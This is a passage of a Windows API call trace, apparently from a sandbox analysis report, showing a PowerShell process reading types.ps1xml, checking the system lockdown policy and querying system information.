lpDistanceToMoveHigh=0x427e218*=0) returned 0x8000 [0090.751] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.751] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x9000 [0090.751] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.751] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0xa000 [0090.751] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.752] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0xb000 [0090.752] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.752] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0xc000 [0090.752] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.752] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0xd000 [0090.752] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.753] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0xe000 [0090.753] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.754] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0xf000 [0090.754] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.754] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x10000 [0090.754] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.754] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x11000 [0090.754] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.755] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x12000 [0090.755] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.755] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x13000 [0090.755] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.755] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x14000 [0090.756] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.756] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x15000 [0090.756] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.756] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x16000 [0090.756] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.756] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x17000 [0090.757] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.757] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x18000 [0090.757] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.757] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x19000 [0090.757] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.757] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1a000 [0090.758] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.758] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1b000 [0090.758] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.758] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1c000 [0090.758] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.758] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1d000 [0090.759] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.759] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1e000 [0090.759] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.759] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x1f000 [0090.759] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.759] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x20000 [0090.760] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.760] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x21000 [0090.760] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.760] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x22000 [0090.760] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.760] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x23000 [0090.761] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.761] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x24000 [0090.761] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.761] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x25000 [0090.761] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.762] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x26000 [0090.762] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.762] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x27000 [0090.762] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.762] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x28000 [0090.762] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.763] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x29000 [0090.763] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.763] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2a000 [0090.763] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.763] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2b000 [0090.763] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.763] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2c000 [0090.764] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.764] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2d000 [0090.764] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.764] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2e000 [0090.764] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.764] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x2f000 [0090.765] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.765] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x30000 [0090.765] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.765] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x31000 [0090.765] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.765] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x32000 [0090.765] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.766] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x33000 [0090.766] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.766] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x34000 [0090.766] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.766] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x35000 [0090.767] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x1000, lpOverlapped=0x0) returned 1 [0090.767] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x36000 [0090.767] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x2cf, lpOverlapped=0x0) returned 1 [0090.767] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e218*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e218*=0) returned 0x362cf [0090.767] ReadFile (in: hFile=0x528, lpBuffer=0x658361c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e244, lpOverlapped=0x0 | out: lpBuffer=0x658361c*, lpNumberOfBytesRead=0x427e244*=0x0, lpOverlapped=0x0) returned 1 [0090.769] CoTaskMemAlloc (cb=0x20c) returned 0x42efdf0 [0090.769] GetSystemDirectoryW (in: lpBuffer=0x42efdf0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0090.770] CoTaskMemFree (pv=0x42efdf0) [0090.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dcac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0090.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dd28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0090.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e188) returned 1 [0090.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e204 | out: lpFileInformation=0x427e204*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0090.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e184) returned 1 [0090.770] WldpGetLockdownPolicy () returned 0x0 [0090.770] GetSystemInfo (in: lpSystemInfo=0x427e230 | out: lpSystemInfo=0x427e230*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0090.770] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e1bc | out: phkResult=0x427e1bc*=0x554) returned 0x0 [0090.770] RegQueryValueExW (in: hKey=0x554, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e1d8, lpData=0x0, lpcbData=0x427e1d4*=0x0 | out: lpType=0x427e1d8*=0x0, lpData=0x0, lpcbData=0x427e1d4*=0x0) returned 0x2 [0090.770] RegCloseKey (hKey=0x554) returned 0x0 [0090.770] CloseHandle (hObject=0x528) returned 1 [0090.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0090.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e1c8) returned 1 [0090.771] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x65f3444 | out: lpFileInformation=0x65f3444*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x362cf)) returned 1 [0090.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e1c4) returned 1 [0090.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc98, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0090.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0f8) returned 1 [0090.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e174 | out: lpFileInformation=0x427e174*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d95e79, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8d95e79, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x362cf)) returned 1 [0090.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f4) returned 1 [0090.790] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0090.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c0) returned 1 [0090.791] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0090.791] GetFileType (hFile=0x528) returned 0x1 [0090.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0bc) returned 1 [0090.791] GetFileType (hFile=0x528) returned 0x1 